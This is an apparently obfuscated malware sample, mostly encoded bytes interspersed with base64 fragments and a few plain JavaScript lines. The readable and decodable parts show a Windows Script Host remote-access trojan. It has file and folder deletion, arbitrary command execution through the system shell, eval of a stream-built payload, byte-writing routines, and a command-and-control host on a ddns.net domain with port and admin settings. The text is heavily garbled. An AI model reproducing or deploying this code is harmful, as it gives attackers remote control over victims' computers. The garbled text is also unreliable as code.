u00b1\u00d1\u008d!\u00c1\u00adM\u00c1\u00cd]Y\u008d\u00e15]9!\u0095!iiX\u00c5)\u00cdQ\u00cc\u00d5\u0090\u00c5\u00c1a9\u00e51Y!91D\u00c5\u00cd\u0091\u00b1\u00b1\u00d1\u008d!\u00c1\u00adM\u00c1\u00cd]Y\u008d\u00e15]9!\u0095!iiX\u00c5)\u00cdQ\u00c4\u00d1\u0091\u00b1\u00b1aU\u00ad\u0091\u00a9\u0089Q\u00b0\u00c1U\u00b4\u00c5\u00cd\u008c\u00c5\u00c1Q\u0085\u00c5\u00a1X\u00cd\u00a1\u00cdi\u00a1-\u008c\u00c1\u00d1U\u008c\u00c1\u00d1U]\u00e1\u00c1i\u0091\u0085\u0089Y\u00c1eM]\u0091ET\u00c1(\u00c9]\\\u00c5\u00dd\u0095\u00b5I%M\u00b5\u00e1iY\u00e9\u00e1d\u00c1\u0090\u00d1\u0091\u00b1\u00b1aU\u00b5\u00e15\u0089\u00c1\u00cd]Y\u0091I\u0088\u00c1\u00d1U\u008c\u00c1\u00d1U]\u00e0\u00c9]\\\u00c5\u00dd\u0095\u00b5I%M\u00b5\u00e1iY\u00e9\u00e1d\u00c1\u0090\u00d1\u0091\u00b1\u00b1aU\u00b5\u00e15\u0089T\u00d5\u00e9e\u00a99=\u0089\u00d1\u0085\u00e9\u0091h\u00c8\u00e5-D\u00c5\u008c\u00d5\u0085]\u00d5Q\u00a9\t\u00a9\u0089Yi\u00bde\u00b1\u0091M\u0091\u00b5E\u00e59a9\u00a55\u00adi\u00c9MUE\u00ddh\u00c9)\u00d5Y\u00b99\u00a5I!91D\u00c5\u00cd5\u00b1\u00b1eM]\u0091\u00a1M%\u00ddd\u00c1\u008c\u00d5\u0085]\u00c1A\u00a8\u00d1\u00b1=U\u00b1iIi4\u00c1\u00c1\u00ddd\u00c1\u00a1I\u0091Y\u00e9M\u00b5\u00e1i])\u00cdY)-\u008dY\u00c1aQ\u00a9\t1D\u00c1\u00c0\u00c1e\u00e99\u00bd\u0091)MaY\u00b1I\u00e9\u00e9eU\u00a1M59Ma\tA\u0090\u00c8\u00e5-D\u00c5\u0091\u00bd5I%E\u00b9ii\u0089\\\u00e4\u00c5e\u00a99\r\n\u0089)\u00c1h\u00c9\u00b1\u00a9I\u00e9\u00b0\u00d9i9)\u008c\u00c1\u00b1\u00d1\u0085\t\u00adM\u00d0\u00ad)Qi5\u0095Q\u00a1\u00c1MU9\u00e9h\u00c9!=a\u00c1\u00adE\u00e8\u00d0\u00ad)a))D\u00c1\u00ac\u00c9M]\u00ac\u00adA\u00a5Y\u00e5MU\u00a1\r\n\u0091\u00b59\u00d5U]\u00911\u0095U\u00b0\u00c9M]\u00ac\u00adA\u00a5Y\u00e5MU\u00a1-\u0089I!Q\u00b9I\u0085D\u00cd\u0091\u00b9]\u00b4\u00c5\u008c\u00c95\u00e5Ya\tA\u0090\u00c8\u00e5-D\u00c5\u0091\u00bd5I%E\u00b9ii\u0089\\\u00e4\u00c5e\u00e9)]5Y\u00d1Y\u00b9\u00a1\u00adX\u00c5h\u00d9iY\u00bd\u0089\u00b1aU\u00b5\u00e1\u00a9\u0085]\u0091\u00c1i\u00a1=\u00899\u00c15]\u00a1\u00855\u00b1h\u00c5iI\u00d9\u0085U\u00e1E\u00b9\t\u00a5\u0089Y\u00f2Y20xaGRHbHZiaWdwS1RzS0NRbG9kSFJ3YjJKcUxuTmxibVFvWW5WbVptVnlLVHNLQ1gxallYUmphQ2hsY2lsN0Nna0pkWEJrWVhSbGMzUmhkSFZ6S0NKVmNHeHZZV1FyUm1GcGJHVmtJaWs3Q2dsOUNuMEtDZ3BtZFc1amRHbHZiaUJrWld4bGRHVm1ZV1lnS0hWeWJDbDdDblJ5ZVhzS1ptbHNaWE41YzNSbGJXOWlhaTVrWld4bGRHVkdhV3hsS0hWeWJDazdDbVpwYkdWemVYTjBaVzF2WW1vdVpHVnNaWFJsUm05c1pHVnlLSFZ5YkNrN0NuMWpZWFJqYUNobGNuSXBlMzBLZlFvS1puVnVZM1JwYjI0Z1kyMWtjMmhsYkd3Z0tHTnRaQ2w3Q25aaGNpQm9kSFJ3YjJKcUxHOWxlR1ZqTEhKbFlXUmhiR3htY205dFlXNTVPd3AyWVhJZ2MzUnljMkYyWlhSdklEMGdhVzV6ZEdGc2JHUnBjaT4+JXJJQ0p2ZFhRdWRIaDBJanNLYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpDPj4lcklDSWdQaUJjSWlJZ0t5QnpkSEp6WVhabGRHOGdLeT4+JWlYQ0lpTEM+PiV3TENCMGNuVmxLVHNLY21WaFpHRnNiR1}VZ\u0092^Q\u00d2\u009dXL\u0099UL\u009dU\u0099\r\n\u0091\u00d3^\u0098\u0092\u00d4\u008cV\u008cZ\u0092\u0092\u00d8\u00d5^\u00d6U\u009e\u0095\u0095\u0095\u00db\u00d3Q\u0092\u009d\u0092\u0098UL\u009a\r\n\u0096\u0091Z\u00d9&#x5B;U\u00db^\u00d4\u009e\u009a\u00d5\u00cdR\u00d8\u0091\u009bZ\u00d2\u009aT\u008c\u00d9\u0094\u00ccT\u009e\u0094\u00cc\u0094\u0092T\u00da\u0095\u009b\u00d0\u009dU\u0099\r\n\u0091\u00d3^\u0098\u0092\u00d4\u008cV\u008cZ\u0092\u0092\u00d8\u00d5^&#x5B;^T\u008cV]\u00d5\u00db\u0098X\u00d1\u00d2\u0092\u0095\u00ceZ\u0093LR\u008dV^\u0092\u0091\u00d3&#x5B;U&#x5B;\u0096\u0093\u0092\u0093\u009b\u00d8Q\u00d4\u0092NS\u008cV\u009c\u00d4\u00ccZ\u00d5S\u009dT\u00db^\u00d4\u00d1\u0096\u008dV&#x5B;&#x5B;\u00d9U\u009c\u009b]\u0095\u008c\u00da\u0095\u00dbMR\u00d9R\u0096\u009b\u0095\u009b\u0092\u0093\u009b\u009d\u0094\u00cc\u009d\u00da\u0091\u009aX\u0095M\u00d6U\u0098\u00cdY&#x5B;\u009b\u0095\u009a\u00d5\u009e\u0091\u008c\u00d6L\u008fV\u00c7\u0095F\u00e7\u00c5's5&amp;\u00b2\u00b5\u0095f\u00e55T\u00e44\u00d6\u00c6\u00c5\u00955vFtCB\u00b4\u00a5vEW\u00a3B\u00b4\u00a5v\u00c4\u00a6\u00e4\u00e4\u00c5\u00a4V\u0084\u00b4\u00e5uc64D\u00a5\u00a5tV\u00c6\u00e5\u0096\u00a4\u00a4\u00b65u\u0094\u00d5\u0084&amp;\u00a4\u00d6\u00c5\u00a3U\u00a4s6\u00c7E\u00a3F\u00c4\u00f5V\u00c4e\u00a4w\u0086\u00b5%F\u00c7\u0095sv\u00d5$E\u00a3&amp;\u00c6\u00b4\u00d6\u00d7\u0083\u0096\u00c6F\u00b6Du$\u0095EE\u00a5\u0095&amp;\u00e6\u0086\u00a5tT\u00d3\u0093\u0084\u00956\u00e5\u00a6\u0094\u00d3\u00a6\u00a5tVD\u00f64t\u00a5\u0095u\u0086\u00c4\u00a6w35#Vt\u00e7\u00d7\u0094\u00d6\u00e6\u0087u\u00a4VEvDt\u00e3U\u00a3F\u00c4\u00f5V\u00c4\u0084\u00f5v\u00c6\u0086&amp;\u00d5#\u0095f\u0084\u00f6$t\u00e7Uv\u00e4%\u00a4\u00d6\u00c5cV\u00c6\u0086\u00f6$f\u00b7\u0085&amp;\u00a4ftV\u00f33\u00e4\u00b6V\u00c7\u0086Tw\u0085\u00a4\u00d3f\u00e53&amp;\u00c46%t\u00e7D\u00f5\u0085$\u00a54u'u\u0096\u00d7\u00e6Ufw\u00a5\u00e6\u00c6\u0094\u00d6\u00b3W5\u0097\u00a4\u00e4\u00e6W\u0084\u0084\u00e5Df\u0095#6G\u00a5F\u00b5&amp;\u00e64S\u00936#F%F\u00c3U3\u0086t\u00e7\u00d3\u0085W\u00a3B\u00b4\u00a5F\u00c4\u00a5'\u00a5g5\u00a4\u0086\u00c45&amp;\u00d4\u00a7Uf\u00e5&amp;tW\u00f5\u00a4V3VUWD\u0085F\u00e5\u00a6\u0095#'wuv\u00c67\u0086V\u00b7EV3&amp;D\u00a5cuDst\u00d4d\u00a5\u0084\u00e5wD\u00c5'355VF4W\u0087D\u00d5\u0085\u00a6\u00b6%e\u00a5v\u00c6\u0086\u00f4\u00d4WDF4&amp;\u00c6C#\u0096\u00e55T\u00d2\u00b5\u0095f\u00e5\u00a4svUV\u00c4\u0084\u00f5v\u00c6\u0086%wwuv\u00c67u\u00a3%E\u00d3\u0085W\u00a5gu\u00a4VEvDWDF\u00a6DE\u00a3'\u00875\u0093\u00d2\u00b5\u0095SU5VEvC\u00c4F3&amp;F\u0094\u00d6\u00b7\u0085\u0095f\u00856$t\u00a5D\u00e5\u0085e\u00a5g\u00a4g55T\u00e7\u00a5\u00a3\u00c74\u00e4v\u00c5C#\u0094\u00b5v\u00c6r\u00b5\u0095f\u00e5Td\u00e46$t\u00e4E\u00a3F\u00c66\u00b6\u00c4\u0084\u00f5v\u00c6\u0086%wwuv\u00c67vEt\u00e4\u00956\u00e5\u00a5\u00a4\u00d6\u00c5\u00a3e\u0097\u00a4'6\u00c4F3&amp;D\u00a6$E'C6Ge\u00a3\u00c4E\u00a3F\u00c5\u00a3\u0095\u00a3F\u00c5\u00a3%E\u00d7\u0086\u00a5\u00a3B\u00b4\u00a5\u0084\u00a4\u00a5'\u00a6\u00c7\u0095s4\u00d4g\u0084\u00d4\u0085ftv\u00875uD\u00e5t\u00d4f\u00c5\u00856\u00e4\u00e6f\u00b4\u00a6\u00f5\u00a4VF\u00e5\u00a3CU\u00e7\u00a5#6\u0087u\u00a4VEvUS\u009364F\u00c4F&amp;\u00a4guf\u00856\u00d4dFw\u0086\u00a6ws5\u00a6\u00c4gvUg\u0095V\u00a4f\u00a6%E&amp;\u00e5v\u00c6r\u00b5\u0095S5#Gu3\u00e7Ev\u00a4f\u0096%SGu\u0095f3VEV\u00c4\u0085f\u00a5&amp;\u0085td\u00a35\u0093#V\u00c7\u0095F\u00e7\u00a5&amp;\u00835\u0095fE&amp;4uc64D&amp;\u00a6&amp;\u00d7s5#T\u00f6#\u0086T\u0084\u00e6\u0094\u00d6\u00b7\u0085DsT\u00b4\u00d5t\u00a7\u00a3&amp;\u00c6\u00b5#\u00a3e\u0095D\u00a34t\u00a4\u0086C&amp;D\u00d4\u00d4f\u00c6\u00e5DDe%\u00a3w\u0085\u00b75\u00a3B\u00b4\u00a5v\u00c4\u00a54\u00e6\u00e5\u0093G6\u0084U\u00a3F\u00c63%$\u00956\u00a4fS'35#G\u0086\u00c6\u00c5\u0095V\u00d7\u0085&amp;\u00875\u0093#T\u00a64uW\u00a4\u00d4WF\u00d5Us\u0094\u00c5v\u00d3UvEf\u00b7\u00a5V\u00e4&amp;\u0094\u00d6\u00a5&amp;\u00e5v\u00a4\u00a5t\u00d4ed\u0085&amp;\u00e6\u00c6g\u00a5WuV\u00b6G6Ug\u0085F\u00a4&amp;\u0094\u00d3\u00f33\u00846u$\u0085\u00a34&amp;\u00c6C#\u0094\u00b5\u00a4svUV\u00c4\u0085v\u00e5\u00a4\u00a5$D&amp;\u00e5v\u00d363\u0095F\u00a5f\u00a4\u00d3\u00a75\u0096\u00c63Vtg\u00e5sVtd\u00a4\u0085\u0095fCF$WD\u0095\u00d6\u0086\u00b5#&amp;GuC6Ge6\u00d4\u00e7Ef\u00a4&amp;\u00b5tW5VF4t\u00a4\u0085f\u00e7\u00c5tSGuv\u00c67\u0086F\u00c6\u00c7F#5f\u00d6\u00c5\u0097ueVDvUg\u0084\u00e5D%6%F\u00c7\u00a5v\u00b6EvUe'E&amp;\u00e5&amp;S&amp;\u0087E\u0096\u00e6\u00c7$\u00e3\u00e7T\u00d4WDF%f\u00f7\u0085\u0096\u00d3\u00f4\u00d4te\u0084\u00f5\u0085d\u00a5#\u00a3\u00a4f7\u0086%f\u00c5\u0085uvD\u00c5#\u00a3\u00a4f7\u0086$e\u00955\u0084&amp;\u00c6C#\u0096\u00e55T\u00d2\u00b5\u0095f\u00e5\u00a4svUV\u00c4\u00956\u00d7\u0084\u00a5$D&amp;\u00e55v\u00c4\u00a4\u00e3\u00e7UV\u00e6\u00c6\u00c5t\u0084\u00e4\u00c55T\u00d2\u00b5\u0095f\u00e55VFF\u00d4\u00e7D\u00a5\u00a5tV\u00c6\u00e5v\u00d3%\u00a3%E\u00e5ftt\u00e6\u00e5V\u00c63\u00d5t\u00a5\u0085f\u00e6\u00c5\u00a5td\u00a3%\u0093&amp;\u00c6\u00f6%te\u0086Tw\u0086\u00a4\u00d3'\u0083e\u00a4VEvDt\u0097\u00956\u00e4d\u00d6%u'5\u00a4UfF\u00d4\u00a4\u0085V\u00d7\u0086\u00a6CB\u00b4\u00a5s\u0096g\u00a5W\u0085\u0096\u00c6E64t\u00e75f\u00a4\u00d3\u00a7v\u00d3V3\u0085f\u00e6\u00c6\u00a6Uw355T\u00e4v%teD\u00e5v\u0086\u00b5%e\u00a3v\u00b4\u00e6\u00e64S\u0093U\u00d3\u0085W\u00a5c\u0096\u00a4\u00e6$e'Ef\u00a5&amp;\u00b5&amp;Gu3\u0087\u00a53\u00c4E\u00a3F\u00c5\u00a3\u00c4E\u00a3F\u00c5\u00a3\u00c4E\u00a4\u00a5\u00a5tV\u00c6\u00e5v\u00d3V3\u0085f\u00e6\u00c4\u00a5$D&amp;\u00e5v\u00d3&amp;Ete\u0095V\u00d7\u0086\u0095S&amp;GuC6Ge\u00a3\u00c4E\u00a3F\u00c5\u00a3\u00c4E\u00a3F\u00c5\u00a3\u00c4\u00956\u00d7\u0084\u00a5$D&amp;\u00e5\u0093#e\u00a3CU\u00d3\u0094\u00d6\u00e6\u0087%v\u00c6\u0084\u00a6Et\u00a7E&amp;\u00e5&amp;W\u00a3B\u00b4\u00a5\u0084\u00a4\u00a5\u00c5ts5\u00a5V\u00c7\u00a3F\u00c66\u00b6\u00c4\u0085v\u00e5\u00a6\u0095#\u00a75\u0093&amp;\u00b3u$\u0095V\u00e6\u00c6\u0085c\u00f7\u0085\u00a4VEvV\u00b6\u00c4F3&amp;F\u00a4\u00d3\u00a7\u00a5\u0095f\u00856$t\u00e73&amp;DFCB\u00b4\u00a5vD\u00a5\u0093U&amp;\u00b2\u00b5\u0095f\u00e55T\u00e46%t\u0097\u00a55s\u0096\u00b6%U\u00a3U5VF4V\u00c4T\u00d4vF\u0096%e\u0097\u00a55UevEu%\u0084\u00d5w\u0086\u00a6%U\u0097u\u0096\u00a4\u00e4\u00a6#F$\u0084\u00e6tSC\u0097\u00a4\u00e56$t\u00a5\u0084\u00f5v\u00c6\u0086EgUv\u00c6\u00855#$\u0097\u0096TwFtV\u00c6\u00e53EvEu%\u0084\u00d5wF\u0085tV\u00c7uDs4t\u00a4\u0085f\u00e7\u00c5d\u0084\u00e6\u00e55fF4W\u0087E&amp;\u00a4%5g\u00a5g%3\u00e7$\u00e3\u00c4\u0085v\u00e4$\u00d6%Dc%\u00a4suC\u0096D$\u00c5'Gu\u00a5\u0086Ge\u00a3\u00c4E\u00a3F\u00c5\u00a3\u00c4E\u00a3F\u00c5\u00a3\u00c4\u0095v\u00d6\u0086\u00a6T\u00a7E\u0095fCF$V\u00c4T\u00d4vF%wC\u0095f\u00856$t\u00a5E\u00a34%C#\u0096\u00e55T\u00d2\u00b5\u0095f\u00e55T\u00d2\u00b5\u0095f\u00e55V\u0084\u00b6$V\u00c4T\u00d4vF\u00a6%ef\u00e536\u00c46%te\u0086Tw\u0084\u00d6%Ef\u00f5\u0096\u00c6Ee\u00a3CU\u00a3F\u00c6f\u00875vD\u00c6UT\u00a7E\u0095fCF$W\u0087UF\u00e4&amp;\u00c6%ef\u00e536\u00b2\u00b5\u0095gtv\u00c4\u00a5\u00a3CU\u00d3\u0085c6\u00875Dst\u00d4u$\u00956\u00e4%\u00a6&amp;\u00c5\u0097uv\u00c6\u0084\u00e5\u00a3CU\u00e7\u00a5#6\u0087u\u00a4VEvUS\u0093U\u00a3F\u00c53\u00c4E\u00a3F\u00c5\u00a3\u00c4\u0094\u00d4WF\u00d5cV\u00f5\u00a4VD\u00f6#D\u0085f\u00e6\u00c6\u00a6ws5\u00a6\u00c4gvUg\u0095V\u00a4f\u00a6%E&amp;\u00e5\u0093#d\u00e3\u00e7T\u00d4C\u0094\u00c44\u0095\u0096\u00d6\u00c7T\u00c6\u00d4\u00a6\u00863%S$\u00e44\u00a6D\u00f7w\u00946w\u00d6EsV\u00a6Dv\u00c7f&amp;\u0094&amp;\u0096$s\u0097e\u00a4S\u0086\u00f64\u0084\u00e3d\u0097Wv\u00f4\u00a64\u0084\u00e3d\u0097UG\u0093V\u00b5\u0095\u0085&amp;\u0085d\u0086\u00c7u\u00a54\u0094\u0094t\u00a6\u00e5\u00a6\u00e5'\u0095\u00a5\u0086F\u00867\u0096ww\u00a4fD\u00f7v\u00f4\u00a64\u0084\u00e3d\u0097UG\u0093S\u00a5\u0086\u0083\u0094Cu\u0096\u00d6F\u00d6D\u0084\u00a6\u00c6C$g\u00a4\u00b46\u00c6$\u00d4cV6\u00d5gv$tf\u00a5\u00a56\u0087v35$%V\u0093T\u00a4\u00c44\u00954\u0097\u00f7v\u00f4\u00a66\u00d5cE\u0084\u00a7T\u00944$&amp;6\u00e4\u00a6\u0086U6\u0086\u00d6EsV\u00a6Dv\u00c7f&amp;\u0096wS4\u00a6\u00c6D\u0085g\u0096&amp;\u0094'v35$%V\u0093U\u00f33\u00f7w\u00946\u00e5\u00a6\u00866\u0094$EG\u0094\u0094\u0094Tg\u00966\u00d4cT\u00b4u\u00a3&amp;\u00d4\u00e3s\u0097T\u00b4\u0085#FD6\u00c3t6v\u00c7\u0095\u00a5\u0085#6\u00d3Fuc\u00e6\u00a66\u00d6\u00c7vD3TF6\u00d5f\u0086Due\u0096\u00d7\u00c5\u00935\u00f6D\u0086\u0083\u00b5G4\u00b6e6\u00b3t6w\u00d6EsV\u00a6Dv\u00c7f&amp;\u0094#5\u00a5tg$\u00d4s\u0087v'\u0096wWv\u00f4\u00a6D\u0084\u00a3VWv\u00f4\u00a45\u0084\u00a6\u00c6D\u0085g\u0096&amp;\u0094$EC7u\u00856v\u0095S6\u00c7\u00a6DugD\u00c6\u00b3V\u00c6D3U$udU\u0096\u0094\u0097\u00f7v\u00f4\u00a6et\u00e6\u0086Dt\u00e6\u00f4\u00b4ug\u0094\u00b5\u00874\u00b45\u00c7\u0095\u00a5\u0085#6\u00d3Fv&amp;\u00e5g6$G4\u00b45\u0083\u00b6e\u00f4\u00b5\u00a6\u00e5gU\u00935'##Fv4s\u00935\u00a5\u0084\u00a5%UdV\u00f5\u0095Dg\u00a4\u00d6\u00d5f\u00c6G\u00a44\u0094tW\u00867\u00a4\u00a6\u00c5\u00a5\u00867\u0084\u00c44&amp;\u0084\u00d5\u0084\u00d7\u0095\u00a5uc4\u00d6\u0096\u00c3t6v\u00b7d\u00c34\u00a6\u00c6D\u0085g\u0096&amp;\u0094$&amp;6\u00e4\u00a6\u0086U6\u0086\u0084\u00d5\u0084\u00d7\u0095\u00a5uc4\u00d4g7u\u00853V\u00e5\u00a5\u0085%FD\u0084\u00a7&amp;\u00d66\u00f4\u00b4tW\u00867\u00a4\u00a6\u00c5\u00a5\u00867uw\u00a4fD\u00b56\u00b74\u0094tW\u00867\u00a4\u00a6\u00c5\u00a5\u00867\u0094\u00b5G4\u00b6e\u00f4\u00b5\u00a6\u00e5gU\u00935'##Fvtg$S\u00a6\u00d5g\u00a4\u00b4tW\u00867\u00a4\u00a6\u00c5\u00a5\u008674\u0094tW\u00867\u00a4\u00a6\u00c5\u00a5\u00867\u0084\u00c44&amp;\u0084\u00d5\u0084\u00d7\u0095\u00a5uc4\u00d6\u0096\u00c3t6v\u00c36\u00e6\u00c3t6v\u00b4\u00a6F\u00d4g\u0094\u0094sSF\u0094\u0094\u0094t\u00a76##\u0096\u00b5G\u0096\u0083uG\u00a6\u00f6u\u0095Dg\u00a4\u00d6\u00d5f\u00c6G\u00a4WU\u00934\u00a6\u00c5\u0095\u0085&amp;\u00c5%w\u0086\u00c6%ugVD6v\u0095\u00a5vCT\u0096\u0096\u00b74\u0094V\u00b3d\u0094sV\u00c6G\u0094%5\u00a5vDfT\u0084\u00f5\u0095Dg\u00a4\u00d6\u00d5f\u00c6C7u\u00857vu\u0095Dg\u00a4\u00d6\u00d5f\u00c6C7\u0085\u00856\u00c3\u0094\u00b5G4\u00b45\u00c7\u00a6\u0096\u00835\u00a5tg$\u00d4s\u0087v'\u0096w\u0094C\u00e5%\u00d4\u00c5\u0089\u00dd\u00c1\u0095\u00dd\u00bd)\r\nE\u00b0\u00c9ea%\u009d\u0091!X\u00c1Q\u00b5\u00d1\u00a1\u0089]\u00d5%\u00c1\u009dD\u00f9bMF0oIkFkb2RiLlN0cmVhbSIpOwoJCQl0dXROa2FtYW4uVHlwZSA9IDE7CgkJCXR1dE5rYW1hbi5PcGVuKCk7CgkJCXR1dE5rYW1hbi5Xcml0ZShudHZbMF0oKS5ub2RlVHlwZWRWYWx1ZSk7CgkJCXR1dE5rYW1hbi5Qb3NpdGlvbiA9IDA7CgkJCXR1dE5rYW1hbi5UeXBlID0gKDMtMSk7CgkJCXR1dE5rYW1hbi5DaGFyU2V0ID0gInVzLWFzY2lpIjsKCQkJYTFzMmVldyA9IEFycmF5KHR1dE5rYW1hbi5SZWFkVGV4dCgpLCBldmFsKTsKCQkJbnR2ID0gbnVsbDsKCQl9ZWxzZXsKCQkJbnR2ID0gcG93ZXJRUVEoW3dlYWswbzBvKCksIG50di5pdGVtKCkubm9kZVR5cGVkVmFsdWVdLCBudWxsLCBldmFsKTsKCQl9CgkJYTFzMmVldzIgPSBudHYuUmVhZCgpOwoJCQoJfWNhdGNoKGVycil7CgkJYTFzMmVld1sxXSh7ajpbYTFzMmVld1swXV19LmpbMF0pOwoJfQ~P\u00d9\u00dc\u00d6U\u00db\u00d5\u009bV\u0096&#x5B;\u00d4V\u009eVV\u00db\u00d2Z\u008d\r\n\u00d2\u0094\u00d2\\\u00d2P\u00d2\u009b\u0092ZZ\u00dc\u00d2QS\u0094\u00de\u0090\u0099\u00d0\u00d2\u0093\u0098U\u00d3\u009eX\u008c\u00d3\u009d\u0096\u009b\u0094]U\u00d1\u00cc\\\u00d4\u0091\u00ce]ZZ\u00dc\u00dd\u00db\u00cfH\u008e\u00c3B\u009d\u0098\\\u0088\u00dc\u00da\u00da&#x5B;K\u00d2u67&amp;\u0097B\u00e47&amp;VFT\u00f6&amp;\u00a6V7B\u0082%u67&amp;\u0097B\u00e56\u0086V\u00c6\u00c2&quot;\u0093\u00b0\u00d0\u00a7f&quot;FFF\u0097#\u00d2w6\u00856\u0086V\u00c6\u00c3\u00e4W\u0087\u00e6DV\u00e7f\u0097&amp;\u00f6\u00e6\u00d6V\u00e7E7G&amp;\u0096\u00e6w2\u0082&quot;VFFR&quot;\u0093\u00b0\u00d0\u00a7f&quot;7GV'F\u0083\u00d2FFF\u0097#\u00ac\u0080\u0089qq\u0085IU\u0085M5\u00b1\u00a1e\u00b9\u00a9\u00cc\u0088\u00ec4)\u00d9\u0085\u00c8\u0081\u0091\u0095\u008d\u00bd\u0091\u0095\u0090\u00c4\u0080\u00f4\u0081\u0091\u0095\u008d\u00bd\u0091\u0095\t\u0085\u00cd\u0094\u00d8\u00d0\u00a1\u00b1\u00bd\u00b9\u009dQ\u0095\u00e1\u00d0\u00c4\u00a4\u00ec4)\u00dd\u00c9\u00a5\u00d1\u0095\t\u00e5\u00d1\u0095\u00cc\u00a1\u00cd\u00d1\u00d5\u0089\u00c1\u0085\u00d1\u00a0\u00c4\u00b0\u0081\u0091\u0095\u008d\u00bd\u0091\u0095\u0090\u00c4\u00a4\u00ec4)\u00dd\u00cd\u00a1M\u00a1\u0095\u00b1\u00b0\u00c4\u00b9\u00c9\u00d5\u00b8\u00a0\u0089\u00dd\u00cd\u008d\u00c9\u00a5\u00c1\u00d0\u00af\/B \\&quot;&quot; + stubpath1 + &quot;\\&quot;&quot;);\r\n}catch(er){}\r\nfunction writeBytes(file, bytes){\r\ntry{\r\nvar binaryStream\/H\u00d4\u00d8\u00dc\u009a\\\u0090\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u0090Q\u00d1\u008b\u0094\u00dd\u0099X&#x5B;H\u008aN\u00c3B\u0098\u009a&#x5B;\u0098\\\u009eT\u00dd\u0099X&#x5B;K\u0095\\HHN\u00c3B\u0098\u009a&#x5B;\u0098\\\u009eT\u00dd\u0099X&#x5B;K\u0093\u00dc&#x5B;\u008a\r\nN\u00c3B\u0098\u009a&#x5B;\u0098\\\u009eT\u00dd\u0099X&#x5B;K\u0095\u00dc\u009a]J\u009e]\\\u00caN\u00c3B\u0098\u009a&#x5B;\u0098\\\u009eT\u00dd\u0099X&#x5B;K\u0094\u00d8]\u0099U\u00d1\u009a&#x5B;J\u009a&#x5B;K\u008aN\u00c3B\u009fX\u00d8]\u00da\r\n\\\u009c\u008a^\u00c3B\u009fCB\u009fCB\u0099\u009d&#x5B;\u0098\u00dd&#x5B;\u00db\u0088X\u00db\u00d9P\u0098\\\u00d9M\u008d\r\n\u0098\\\u00d9M\u008d\r\n^\u00c3B\u009d\u0098\\\u0088HH\u00d4\u00d8\u00dc\u009a\\\u0090\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u0093ZX\u00dc\u009b\u00dc\u00db\u00d9\u009d\u0096S\u00d3H\u008aN\u00c3B\u009d\u0098\\\u0088S\u00d2D\u00d2\u00e67&amp;VFTV\u00c6V\u00d6V\u00e7B\u0082'F\u00d7&quot;\u0093\u00b0\u00d0\u00a4T\u00c2\u00e6FFG\u0097R\u00d2\u0089\u0089\u00a5\u00b8\u00b9\u0089\u0085\u00cd\u0094\u00d8\u00d0\u0088\u00ec4)0\u00b9\u00d1\u0095\u00e1\u00d0\u0080\u00f4\u0081\u0089\u0085\u00cd\u0094\u00d8\u00d0\u00ec4)\u00c9\u0095\u00d1\u00d5\u00c9\u00b8\u00810\u00b9\u00b9\u00bd\u0091\u0095Q\u00e5\u00c1\u0095\u0091Y\u0085\u00b1\u00d5\u0094\u00ec4)\u00f44)\u00dd\u00cd\u00a1M\u00a1\u0095\u00b1\u00b0\u00c4\u0080\u00f4\u0081\u00b9\u00d5\u00b1\u00b0\u00ec4)\u00d9\u0085\u00c8\u0081\u00a1\u00bd\u00cd\u00d0\u0080\u00f4\u0080\u0089\u00e1\u00d1\u0095\u00b9\u0091\u00dd\u00cd\u00a0\u00d4\u00d8\u00c0\u00eeddns.net&quot;;\r\nvar port =-M\u008f\u00b0\u00d0\u00a7f&quot;\u0096\u00e77F\u00c6\u00c6F\u0097&quot;\u00d2\u0088\u0095\u00d1\u0095\u00b5\u00e5&quot;;\r\nvar runAsAdmin = false;\r\nvar lnkfile\/H\u009dYN\u00c3B\u009d\u0098\\\u0088\u009a\u00d9\u009b\u00db\\\u0088H\u009dYN\u00c3B\u009aY\u008a\u009d&#x5B;\u0090\\\u00d0YZ&#x5B;\u0088OH\u009dYJ^\u00c3B\u009c\u00dd\\\u009d\\&#x5B;]\u0098]J\r\nN\u00c3B\u009fCB\u009aY\u008a\u00d4\u00d8\u00dc\u009a\\\u0090\\\u0099\u00dd&#x5B;Y&#x5B;\u009d\u00cb\u0093\u0098&#x5B;YY\u0091^\\\u00dd\u00ca\u0099&#x5B;]\u0098]Y\u008aHOH\u009dYJ^\u00c3B\u0099\\\u00d8X\u009bT\u00d9X\u00dd\\\u009a]J\r\nN\u00c3B\u009fCB\u009d\u0098\\\u0088\u00da&#x5B;\u00d8\u009a\u0088H\u00d4\u00d8\u00dc\u009a\\\u0098\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u009d\u00dc\u00d8\u00dc\u009a\\\u009c\u00da&#x5B;\u008aN\u00c3B\u009d\u0098\\\u0088\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u0088H\u00d4\u00d8\u00dc\u009a\\\u0098\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u009c\u00d8\u00dc\u009a\\&#x5B;\u0099\u00cb\u0099\u009a&#x5B;\\\u00de\\\u00dd&#x5B;&#x5B;\u00d8\u009a\u0099X\u00dd\u008aN\u00c3B\u009d\u0098\\\u0088\u00d8\u009a\u0088H\u00d4\u00d8\u00dc\u009a\\\u0098\u00dc\u0099X]S\u00d8\u009a\u0099X\u00dd\r\n\u009b\\\u00de&#x5B;\u008b\u009e&#x5B;\u008aN\u00c3B\u009d\u0098\\\u0088&#x5B;\u009c\u00dd&#x5B;\u0098&#x5B;YHH\u00d4\u00d8\u00dc\u009a\\\u009c\u00d8\u00dc\u009a\\\u0098&#x5B;YN\u00c3B\u009d\u0098\\\u0088\u00dd\\\u009d\\\u00d26\u0086V\u00c6\u00c6\u00f6&amp;\u00a2\u00e77V6\u0096\u00c4f\u00f6\u00c6FW'2\u0082'7F'GW&quot;\u0092\u00b2\u0089qp\u0088\u00ec4)\u00a5\u00b9\u00cd\u00d1\u0085\u00b1\u00b1\u0091\u00a5\u00c8\u00bd 